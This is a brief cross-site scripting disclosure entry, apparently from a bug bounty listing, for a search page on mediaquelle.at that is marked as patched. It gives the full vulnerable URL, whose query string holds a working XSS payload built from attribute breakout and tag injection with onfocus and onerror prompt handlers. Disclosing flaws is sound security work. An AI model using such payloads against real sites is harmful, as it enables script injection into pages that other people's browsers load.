mediaquelle.at XSS vulnerability

Vulnerable URL: https://www.mediaquelle.at/shop/suche.php?system=ALLE=Titel=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E=0=0 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS...